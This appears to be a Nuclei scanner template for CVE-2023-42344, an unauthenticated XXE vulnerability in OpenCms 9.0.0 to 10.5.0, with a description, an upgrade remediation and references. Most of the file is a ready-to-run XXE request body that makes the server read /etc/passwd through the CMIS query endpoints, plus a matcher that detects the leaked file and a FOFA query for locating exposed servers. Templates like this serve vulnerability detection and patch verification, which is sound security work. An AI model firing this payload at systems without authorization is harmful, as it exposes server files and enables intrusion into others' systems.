id: CVE-2023-42344

info:
  name: OpenCMS - XML external entity (XXE)
  author: 0xr2r
  severity: high
  description: |
    users can execute code without authentication.  An attacker can execute malicious requests on the OpenCms server. When the requests are successful vulnerable OpenCms can be exploited resulting in an unauthenticated XXE vulnerability. Based on research OpenCMS versions from 9.0.0 to 10.5.0 are vulnerable.
  remediation: Advised to upgrade to OpenCMS 10.5.1 or later to patch the vulnerability
  reference:
    - https://blog.qualys.com/product-tech/2023/12/08/opencms-unauthenticated-xxe-vulnerability-cve-2023-42344
    - https://labs.watchtowr.com/xxe-you-can-depend-on-me-opencms/
  metadata:
    verified: true
    max-request: 2
    fofa-query: "OpenCms-9.5.3"
  tags: cve,cve2023,xxe,opencms

http:
  - method: POST
    path:
      - "{{BaseURL}}/opencms/cmisatom/cmis-online/query"
      - "{{BaseURL}}/cmisatom/cmis-online/query"
    headers:
      Content-Type: "application/xml;charset=UTF-8"
      Referer: "{{RootURL}}"
    body: |
      <?xml version='1.0' encoding='UTF-8'?><!DOCTYPE root [<!ENTITY test SYSTEM 'file:///etc/passwd'>]><cmis:query xmlns:cmis="<http://docs.oasis-open.org/ns/cmis/core/200908/>"><cmis:statement>&test;</cmis:statement><cmis:searchAllVersions>false</cmis:searchAllVersions><cmis:includeAllowableActions>false</cmis:includeAllowableActions><cmis:includeRelationships>none</cmis:includeRelationships><cmis:renditionFilter>cmis:none</cmis:renditionFilter><cmis:maxItems>100</cmis:maxItems><cmis:skipCount>0</cmis:skipCount></cmis:query>

    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"
          - "invalidArgument"
        condition: and
# digest: 4b0a00483046022100f7dbfd49302b6ff73e5301cdb82e1fea60540cdbacb1e9a04069885d75bbc145022100c7ec2bc827d6116bdc018f12ea636664f6d8688600854967a7d4cc2734c100d4:922c64590222798bb761d5b6d8e72950